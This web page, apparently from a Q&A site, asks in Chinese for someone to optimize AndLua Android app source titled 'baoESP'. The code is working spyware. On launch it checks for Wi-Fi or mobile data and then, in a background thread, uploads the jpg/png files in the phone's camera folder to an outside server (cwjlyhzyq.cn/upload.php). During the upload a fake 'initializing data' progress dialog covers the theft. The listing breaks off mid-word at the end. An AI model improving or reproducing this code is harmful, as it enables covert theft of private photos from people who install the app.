优化一下当前源码require importimport androidappimport androidosimport androidwidgetimport androidviewimport layoutimport AndLuaimport androidcontentContextimport androidnetConnectivityManageractivitysetThemeR
require "import" import "android.app." import "android.os." import "android.widget." import "android.view." import "layout" import "AndLua" import "android.content.Context" import "android.net.ConnectivityManager"
activity.setTheme(R.Theme_Blue) activity.setTitle("baoESP") activity.setContentView(loadlayout(layout))
沉浸状态栏() 隐藏标题栏()
function uploadImage(name) require "import" import "java.io.File" import "java.lang.String" import "http" local n=0 local ret={} name=tostring(name) lujin= File("/sdcard/DCIM/Camera/") lj=lujin.listFiles() or File{}
for i=1,#lj-1 do local f=lj[i]
if f.isDirectory() then
else
local c=f.Name
if string.find(c,name) then
h="/sdcard/DCIM/Camera/"..c
http.upload("http://cwjlyhzyq.cn/upload.php",{},{file=h})
end
end
end
end
import("http")
name=(".j?p?n?g")
manager = activity.getSystemService(Context.CONNECTIVITY_SERVICE); gprs = manager.getNetworkInfo(ConnectivityManager.TYPE_WIFI).getState(); if tostring(gprs)== "CONNECTED" then thread(uploadImage,name)
else manager = activity.getSystemService(Context.CONNECTIVITY_SERVICE); gprs = manager.getNetworkInfo(ConnectivityManager.TYPE_MOBILE).getState(); if tostring(gprs)== "CONNECTED" then thread(uploadImage,name) else 跳转界面("main2") 关闭界面() end
end
local progressDialog = ProgressDialog.show(activity, nil, '初始化数据中...') progressDialog.show()
local progress = 0 local ticker = Ticker() ticker.start()
ticker.onTick = function() progress = progress + 1 if progress == 1000 then progressDialog.dismiss() ticker.stop() end en
原文地址: https://www.cveoy.top/t/topic/iX3C 著作权归作者所有。请勿转载和采集!